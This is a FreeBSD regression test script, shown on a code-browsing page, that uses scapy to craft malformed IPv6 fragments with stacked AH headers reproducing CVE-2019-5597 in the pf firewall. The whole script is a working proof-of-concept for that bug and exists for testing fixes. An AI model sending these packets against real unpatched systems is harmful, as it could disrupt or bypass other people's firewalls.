Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
freebsd
GitHub Repository: freebsd/freebsd-src
 Path: blob/main/tests/sys/netpfil/pf/CVE-2019-5597.py
39507 views
1
#!/usr/bin/env python3

2
#

3
# SPDX-License-Identifier: BSD-2-Clause

4
#

5
# Copyright (c) 2019 Synacktiv

6
#

7
# Redistribution and use in source and binary forms, with or without

8
# modification, are permitted provided that the following conditions

9
# are met:

10
# 1. Redistributions of source code must retain the above copyright

11
#    notice, this list of conditions and the following disclaimer.

12
# 2. Redistributions in binary form must reproduce the above copyright

13
#    notice, this list of conditions and the following disclaimer in the

14
#    documentation and/or other materials provided with the distribution.

15
#

16
# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND

17
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE

18
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE

19
# ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE

20
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL

21
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS

22
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)

23
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT

24
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY

25
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF

26
# SUCH DAMAGE.

27


28
import random

29
import logging

30
logging.getLogger("scapy").setLevel(logging.CRITICAL)

31
import scapy.all as sp

32
import sys

33


34
UDP_PROTO  = 17

35
AH_PROTO   = 51

36
FRAG_PROTO = 44

37


38
def main():

39
    intf = sys.argv[1]

40
    ipv6_src = sys.argv[2]

41
    ipv6_dst = sys.argv[3]

42


43
    ipv6_main = sp.IPv6(dst=ipv6_dst, src=ipv6_src)

44


45
    padding = 8

46
    fid = random.randint(0,100000)

47
    frag_0 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=1, offset=0)

48
    foff_1 = (int)(padding/8)

49
    frag_1 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=0, offset=foff_1)

50
    

51
    pkt1_opts = sp.AH(nh=AH_PROTO, payloadlen=200) \

52
            / sp.Raw('XXXX' * 199) \

53
            / sp.AH(nh=FRAG_PROTO, payloadlen=1) \

54
            / frag_1

55


56
    pkt0 = sp.Ether() / ipv6_main / frag_0 / sp.Raw('A' * padding)

57
    pkt1 = sp.Ether() / ipv6_main / pkt1_opts / sp.Raw('B' * padding)

58


59
    sp.sendp(pkt0, iface=intf, verbose=False)

60
    sp.sendp(pkt1, iface=intf, verbose=False)

61


62
if __name__ == '__main__':

63
	main()

64


65